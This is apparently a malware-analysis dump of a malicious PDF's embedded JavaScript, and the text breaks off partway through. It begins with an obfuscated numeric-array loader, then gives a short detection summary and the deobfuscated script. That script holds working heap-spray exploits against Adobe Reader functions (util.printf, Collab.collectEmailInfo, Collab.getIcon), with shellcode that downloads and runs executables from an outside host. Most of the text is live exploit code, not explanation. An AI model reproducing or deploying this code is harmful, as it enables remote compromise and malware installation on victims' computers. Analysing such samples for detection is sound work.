108,97,85,90,110,62,61,58,60,170,148,163,166,161,83,110,83,151,156,169,146,154,167,89,172,146,165,164,163,93,83,157,152,159,92,108,64,59,60,58,169,146,165,81,150,160,168,159,167,99,83,110,83,89,150,148,83,94,83,97,171,101,99,97,99,97,99,90,98,146,151,149,165,108,64,59,60,58,153,160,165,81,91,167,148,163,83,148,162,166,161,165,83,110,83,97,110,81,150,160,168,159,167,81,111,81,150,160,168,159,167,99,110,81,150,160,168,159,167,92,94,90,174,62,61,58,60,58,160,150,160,144,148,163,165,146,172,140,150,160,168,159,167,142,83,110,83,170,148,163,166,161,83,92,83,164,155,150,159,157,150,160,151,150,110,62,61,58,60,174,64,59,60,58,169,146,165,81,162,167,152,163,153,157,162,168,83,110,83,166,161,150,166,148,148,161,152,89,85,86,168,97,150,97,150,86,168,97,150,97,150,83,92,108,64,59,60,58,170,153,156,157,152,81,91,160,169,150,165,151,159,160,170,95,159,150,161,152,167,153,83,109,83,101,103,106,104,99,92,172,64,59,60,58,60,160,169,150,165,151,159,160,170,81,94,110,83,160,169,150,165,151,159,160,170,108,64,59,60,58,176,62,61,58,60,165,155,154,166,95,150,160,159,157,148,147,134,165,162,163,152,81,112,81,118,160,159,157,148,147,97,148,162,157,159,150,150,165,120,158,148,154,159,122,161,151,162,89,174,164,168,147,157,107,83,83,85,93,160,164,154,107,83,160,169,150,165,151,159,160,170,174,92,108,64,59,60,174,64,59,64,59,60,151,168,159,150,165,156,160,161,81,150,160,159,157,148,147,146,152,152,165,156,148,162,159,91,90,174,62,61,58,60,154,153,81,91,146,163,161,97,149,162,148,97,116,162,157,159,146,149,95,154,150,167,122,150,160,161,90,174,62,61,58,60,58,169,146,165,81,148,163,165,170,83,110,83,159,152,168,83,114,165,163,148,170,91,90,110,62,61,58,60,58,169,146,165,81,169,167,163,150,167,153,172,146,83,110,83,166,161,150,166,148,148,161,152,89,85,86,168,118,117,118,108,86,168,97,99,97,100,86,168,102,105,97,99,86,168,114,100,103,103,86,168,97,99,100,99,86,168,97,99,97,99,86,168,101,99,105,117,86,168,105,117,97,118,86,168,98,118,104,99,86,168,105,117,114,119,86,168,97,107,101,99,86,168,116,102,102,120,86,168,105,117,102,104,86,168,105,117,118,118,86,168,97,107,101,104,86,168,100,102,102,101,86,168,116,100,117,101,86,168,97,102,116,101,86,168,98,99,100,101,86,168,105,99,101,99,86,168,97,99,100,107,86,168,119,104,104,104,86,168,116,101,105,117,86,168,102,119,102,116,86,168,97,103,116,101,86,168,102,104,97,99,86,168,118,118,105,117,86,168,102,100,102,100,86,168,102,105,102,102,86,168,103,99,102,106,86,168,102,119,105,117,86,168,100,102,97,107,86,168,105,117,116,99,86,168,97,118,104,104,86,168,119,120,105,117,86,168,104,105,97,102,86,168,105,117,100,118,86,168,104,107,101,120,86,168,116,121,97,102,86,168,102,100,105,117,86,168,102,101,98,118,86,168,102,100,105,117,86,168,102,101,99,103,86,168,104,100,105,117,86,168,101,120,98,103,86,168,104,104,105,108,86,168,105,117,119,118,86,168,99,99,104,100,86,168,119,106,97,102,86,168,101,116,106,108,86,168,101,101,114,119,86,168,100,117,103,99,86,168,119,118,102,104,86,168,97,103,104,104,86,168,116,99,100,102,86,168,100,106,118,117,86,168,119,121,100,102,86,168,101,104,97,102,86,168,106,106,97,118,86,168,116,121,105,117,86,168,104,104,114,120,86,168,99,117,119,119,86,168,101,121,119,108,86,168,118,107,102,100,86,168,119,121,106,103,86,168,119,121,119,121,86,168,116,102,100,117,86,168,104,103,103,100,86,168,118,117,97,101,86,168,105,117,117,108,86,168,97,118,101,104,86,168,102,120,106,101,86,168,119,101,97,102,86,168,118,99,117,100,86,168,116,105,97,102,86,168,116,108,100,102,86,168,115,106,97,121,86,168,102,121,97,107,86,168,118,100,116,100,86,168,97,102,97,101,86,168,97,102,116,116,86,168,105,117,116,121,86,168,97,102,97,100,86,168,105,108,116,101,86,168,119,107,101,104,86,168,105,117,103,100,86,168,119,107,101,104,86,168,102,120,102,121,86,168,116,108,102,117,86,168,102,104,116,102,86,168,118,118,105,117,86,168,118,107,102,100,86,168,119,121,101,108,86,168,119,121,119,121,86,168,103,107,102,99,86,168,103,99,118,107,86,168,97,103,115,121,86,168,103,118,118,107,86,168,119,121,119,121,86,168,100,102,119,121,86,168,102,101,117,101,86,168,119,121,102,101,86,168,97,107,104,104,86,168,117,99,119,121,86,168,101,104,105,108,86,168,105,117,119,118,86,168,119,118,101,104,86,168,116,102,116,108,86,168,105,117,102,104,86,168,105,102,118,118,86,168,97,118,118,118,86,168,101,104,105,119,86,168,102,99,119,103,86,168,101,104,116,105,86,168,104,104,119,103,86,168,101,104,116,105,86,168,104,101,119,104,86,168,101,104,116,105,86,168,103,118,119,105,86,168,101,104,116,105,86,168,103,119,119,106,86,168,101,104,116,105,86,168,103,121,119,107,86,168,101,104,116,105,86,168,103,120,119,108,86,168,101,104,116,105,86,168,99,120,119,116,86,168,101,104,116,105,86,168,103,103,119,117,86,168,101,104,116,105,86,168,103,118,119,118,86,168,101,104,116,105,86,168,103,118,119,119,86,168,101,104,116,105,86,168,97,99,119,120,86,168,114,99,118,107,86,168,119,121,119,121,86,168,102,99,119,121,86,168,102,119,103,107,86,168,98,100,105,116,86,168,118,107,98,105,86,168,119,121,98,104,86,168,119,121,119,121,86,168,116,103,105,102,86,168,105,104,97,118,86,168,104,103,116,99,86,168,103,116,98,104,86,168,103,116,97,99,86,168,119,121,97,99,86,168,97,118,104,104,86,168,104,104,119,121,86,168,103,116,97,107,86,168,119,121,97,99,86,168,105,104,117,99,86,168,104,104,116,99,86,168,101,99,97,102,86,168,116,102,116,108,86,168,116,99,100,102,86,168,116,102,116,108,86,168,100,102,102,106,86,168,105,117,116,99,86,168,99,103,101,118,86,168,105,117,97,118,86,168,99,103,104,118,86,168,119,118,97,107,86,168,114,116,119,102,86,168,116,102,102,121,86,168,101,118,105,117,86,168,97,103,99,103,86,168,100,108,105,99,86,168,105,117,97,99,86,168,104,103,116,100,86,168,101,99,97,105,86,168,100,107,105,99,86,168,104,104,97,99,86,168,99,117,119,116,86,168,116,102,116,100,86,168,105,117,102,104,86,168,105,102,118,118,86,168,103,103,118,118,86,168,105,119,102,102,86,168,119,99,101,104,86,168,100,102,102,106,86,168,102,99,117,117,86,168,101,104,116,105,86,168,103,117,119,99,86,168,101,104,116,105,86,168,103,104,119,100,86,168,101,104,116,105,86,168,104,101,119,101,86,168,101,104,116,105,86,168,103,120,119,102,86,168,101,104,116,105,86,168,103,104,119,103,86,168,101,104,116,105,86,168,103,118,119,104,86,168,101,104,116,105,86,168,100,102,119,105,86,168,101,104,116,105,86,168,100,101,119,106,86,168,101,104,116,105,86,168,99,120,119,107,86,168,101,104,116,105,86,168,103,103,119,108,86,168,101,104,116,105,86,168,103,118,119,116,86,168,101,104,116,105,86,168,103,118,119,117,86,168,102,119,105,107,86,168,118,107,119,118,86,168,119,121,97,117,86,168,119,121,119,121,86,168,103,107,102,99,86,168,101,102,103,107,86,168,105,120,119,108,86,168,105,99,118,107,86,168,119,121,119,120,86,168,105,117,119,121,86,168,105,119,119,107,86,168,106,118,101,104,86,168,101,103,103,116,86,168,118,107,102,99,86,168,119,121,104,120,86,168,119,121,119,121,86,168,101,104,105,119,86,168,103,116,118,99,86,168,102,99,98,99,86,168,104,102,118,107,86,168,119,121,119,121,86,168,105,102,119,121,86,168,98,118,116,103,86,168,101,104,105,119,86,168,102,99,118,99,86,168,101,104,105,119,86,168,102,99,106,118,86,168,102,102,102,102,86,168,102,102,102,102,86,168,102,102,102,102,86,168,104,104,119,121,86,168,116,106,97,107,86,168,106,118,101,104,86,168,97,99,101,103,86,168,97,99,97,99,86,168,119,121,102,102,86,168,102,121,117,106,86,168,115,105,97,121,86,168,102,117,116,99,86,168,116,102,116,108,86,168,105,117,102,104,86,168,102,100,118,118,86,168,102,102,102,100,86,168,102,106,102,105,86,168,101,101,103,116,86,168,104,101,118,107,86,168,97,99,97,99,86,168,105,117,97,99,86,168,100,102,117,107,86,168,105,104,119,105,86,168,102,108,117,117,86,168,101,104,116,106,86,168,103,100,119,107,86,168,103,104,99,120,86,168,116,106,104,107,86,168,119,118,101,104,86,168,97,99,103,104,86,168,97,99,97,99,86,168,102,105,104,120,86,168,101,104,105,119,86,168,102,99,119,107,86,168,118,107,102,105,86,168,97,99,102,100,86,168,97,99,97,99,86,168,102,99,102,108,86,168,115,100,118,107,86,168,119,121,119,120,86,168,105,104,119,121,86,168,102,108,116,99,86,168,104,103,102,108,86,168,105,119,100,108,86,168,97,100,101,105,86,168,118,107,102,99,86,168,97,99,100,117,86,168,97,99,97,99,86,168,119,107,105,117,86,168,101,104,105,119,86,168,102,99,119,107,86,168,99,100,118,107,86,168,119,121,119,121,86,168,105,104,119,121,86,168,102,108,116,99,86,168,104,103,102,108,86,168,102,106,97,118,86,168,97,100,118,107,86,168,119,121,119,121,86,168,102,108,119,121,86,168,101,103,116,105,86,168,119,121,100,107,86,168,102,99,104,102,86,168,101,104,105,119,86,168,119,120,119,107,86,168,102,107,97,99,86,168,101,104,105,119,86,168,102,99,119,107,86,168,118,107,102,106,86,168,119,120,104,103,86,168,119,121,119,121,86,168,102,108,102,108,86,168,101,105,101,105,86,168,119,102,100,117,86,168,114,116,104,118,86,168,102,120,102,121,86,168,116,108,102,117,86,168,102,104,116,102,86,168,118,118,105,117,86,168,102,102,102,100,86,168,103,99,103,105,86,168,100,101,115,100,86,168,97,99,118,107,86,168,97,99,97,99,86,168,102,107,97,99,86,168,97,107,100,107,86,168,97,102,104,103,86,168,118,117,101,99,86,168,101,99,119,108,86,168,102,119,105,117,86,168,105,99,97,107,86,168,101,101,119,117,86,168,97,107,104,104,86,168,117,117,100,102,86,168,98,107,105,116,86,168,116,102,105,117,86,168,98,106,118,117,86,168,98,107,100,107,86,168,98,100,104,105,86,168,100,102,101,99,86,168,105,103,116,108,86,168,104,103,117,117,86,168,101,99,97,118,86,168,97,107,100,107,86,168,119,117,104,104,86,168,119,120,101,99,86,168,118,117,116,117,86,168,100,102,119,101,86,168,105,108,116,99,86,168,119,118,101,104,86,168,101,104,105,117,86,168,102,117,119,118,86,168,116,102,116,108,86,168,97,101,100,101,86,168,104,103,103,107,86,168,104,99,104,103,86,168,99,121,100,116,86,168,103,119,99,121,86,168,104,101,103,108,86,168,103,121,104,101,86,168,103,121,104,101,86,168,103,104,103,120,86,168,103,121,104,101,86,168,103,108,103,105,86,168,103,104,104,105,86,168,103,102,99,120,86,168,103,119,103,121,86,168,104,102,99,121,86,168,103,104,103,118,86,168,104,99,103,104,86,168,103,108,99,121,86,168,104,99,103,117,86,168,100,101,104,101,86,168,103,104,99,120,86,168,103,104,104,107,86,168,103,107,97,99,86,168,104,103,104,103,86,168,100,116,104,99,86,168,99,121,99,121,86,168,103,108,103,119,86,168,104,101,104,101,86,168,104,101,103,121,86,168,103,120,103,121,86,168,104,101,103,104,86,168,103,105,103,121,86,168,104,105,103,108,86,168,99,120,103,104,86,168,103,121,103,102,86,168,99,121,103,119,86,168,103,118,104,102,86,168,103,104,103,104,86,168,99,121,104,99,86,168,103,118,103,102,86,168,103,102,103,108,86,168,99,120,103,117,86,168,103,107,104,99,86,168,100,121,104,99,86,168,100,119,104,101,86,168,97,99,97,99,83,92,108,64,59,60,58,60,167,148,163,83,153,138,162,104,97,99,116,129,81,112,81,169,167,163,150,167,153,172,146,97,157,152,159,154,165,155,81,93,81,101,108,64,59,60,58,60,167,148,163,83,157,152,159,83,110,83,97,171,101,99,97,99,97,99,81,96,81,91,153,138,162,104,97,99,116,129,81,94,81,99,169,102,105,92,108,64,59,60,58,60,167,148,163,83,170,148,163,166,161,83,110,83,166,161,150,166,148,148,161,152,89,85,86,168,106,99,106,99,86,168,106,99,106,99,83,92,108,64,59,60,58,60,170,148,163,166,161,83,110,83,151,156,169,146,154,167,89,172,146,165,164,163,93,83,157,152,159,92,108,64,59,60,58,60,167,148,163,83,161,104,114,157,124,105,102,153,81,112,81,91,97,171,97,150,97,150,97,150,97,150,81,96,81,99,169,103,97,99,97,99,97,92,81,98,81,99,169,103,97,99,97,99,97,110,62,61,58,60,58,153,160,165,81,91,167,148,163,83,167,164,148,132,117,108,103,172,81,112,81,99,108,83,167,164,148,132,117,108,103,172,81,111,81,163,102,116,155,126,103,104,151,110,81,169,162,150,130,119,106,105,170,83,92,94,81,92,172,64,59,60,58,60,58,148,163,165,170,142,167,164,148,132,117,108,103,172,142,83,110,83,170,148,163,166,161,83,92,83,167,169,161,152,165,155,170,148,108,64,59,60,58,60,174,64,59,60,58,60,167,148,163,83,165,136,126,155,127,149,120,170,81,112,81,168,159,152,164,150,146,163,150,91,83,88,97,108,83,92,108,64,59,60,58,60,168,155,154,159,150,83,89,167,134,128,153,129,147,122,168,97,157,152,159,154,165,155,81,111,81,99,169,103,97,99,97,92,172,64,59,60,58,60,58,167,134,128,153,129,147,122,168,83,92,112,81,167,134,128,153,129,147,122,168,110,62,61,58,60,58,176,62,61,58,60,58,167,134,128,153,129,147,122,168,83,110,83,83,129,95,85,81,94,81,167,134,128,153,129,147,122,168,110,62,61,58,60,58,148,161,163,95,151,160,150,95,118,160,159,157,148,147,97,152,152,165,124,148,162,159,91,165,136,126,155,127,149,120,170,90,110,62,61,58,60,174,64,59,60,174,64,59,64,59,60,151,168,159,150,165,156,160,161,81,163,149,153,144,166,165,148,163,167,89,92,172,64,59,64,59,60,58,169,146,165,81,169,150,165,164,156,160,161,81,112,81,148,161,163,95,169,154,152,168,152,163,137,150,165,164,156,160,161,95,167,160,134,165,165,154,161,152,91,90,110,62,61,58,60,167,152,163,166,154,162,159,83,110,83,167,152,163,166,154,162,159,97,163,152,161,159,146,150,150,91,96,143,117,98,152,95,88,90,90,110,62,61,58,60,167,148,163,83,167,148,163,166,154,162,159,146,146,165,163,148,170,83,110,83,159,152,168,83,114,165,163,148,170,91,167,152,163,166,154,162,159,97,148,155,146,165,114,167,89,99,90,95,81,169,150,165,164,156,160,161,95,150,153,148,163,116,165,91,98,92,93,83,167,152,163,166,154,162,159,97,148,155,146,165,114,167,89,101,90,92,108,64,59,60,58,156,151,83,89,91,167,148,163,166,154,162,159,146,146,165,163,148,170,142,97,144,81,112,110,83,105,92,81,89,87,83,89,169,146,165,164,156,160,161,144,148,163,165,146,172,140,100,142,83,110,112,81,99,90,83,173,175,81,91,167,148,163,166,154,162,159,146,146,165,163,148,170,142,98,144,81,112,110,83,98,83,87,89,81,169,146,165,164,156,160,161,144,148,163,165,146,172,140,101,142,83,109,83,100,92,90,174,62,61,58,60,58,168,165,156,157,146,161,165,154,161,165,153,89,92,108,64,59,60,58,176,62,61,58,60,154,153,81,91,89,169,146,165,164,156,160,161,144,148,163,165,146,172,140,99,142,83,109,83,105,92,81,175,173,83,89,169,146,165,164,156,160,161,144,148,163,165,146,172,140,99,142,83,110,112,81,107,81,89,87,83,167,148,163,166,154,162,159,146,146,165,163,148,170,142,98,144,81,111,81,101,81,89,87,83,167,148,163,166,154,162,159,146,146,165,163,148,170,142,99,144,81,111,81,101,90,92,172,64,59,60,58,60,148,162,157,159,146,149,144,152,158,148,154,159,89,92,108,64,59,60,58,176,62,61,58,60,154,153,81,91,89,169,146,165,164,156,160,161,144,148,163,165,146,172,140,99,142,83,109,83,106,92,81,175,173,83,89,169,146,165,164,156,160,161,144,148,163,165,146,172,140,99,142,83,110,112,81,108,81,89,87,83,167,148,163,166,154,162,159,146,146,165,163,148,170,142,98,144,81,111,81,100,90,92,172,64,59,60,58,60,148,162,157,159,146,149,144,154,150,167,154,150,160,161,89,92,108,64,59,60,58,176,62,61,58,176,62,61,62,61,58,163,149,153,144,166,165,148,163,167,89,92,108,64,59,60],gkoqsu=function(){for(var lmov;fgovy<rvwtzq.length;fgovy+=1){var rzfb=fgovy%dktv.length+1;var dgnvw=dktv.substring(fgovy%dktv.length,rzfb);var bguv=rvwtzq[fgovy];dluw+=uljzy(bguv-dgnvw.charCodeAt(0));} klst(dluw);};gkoqsu();aklz="";horx="";hzacsn="hzacsn";ainx='';cqvw=true;
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10066 bytes
SHA-256: `465d28d27820b97d48edb2437ea75006d336b24935fdeab69ac05ff1145db3e5`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u742F%u6167%u327A%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u662F%u716D%u7372%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u692F%u706B%u3272%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 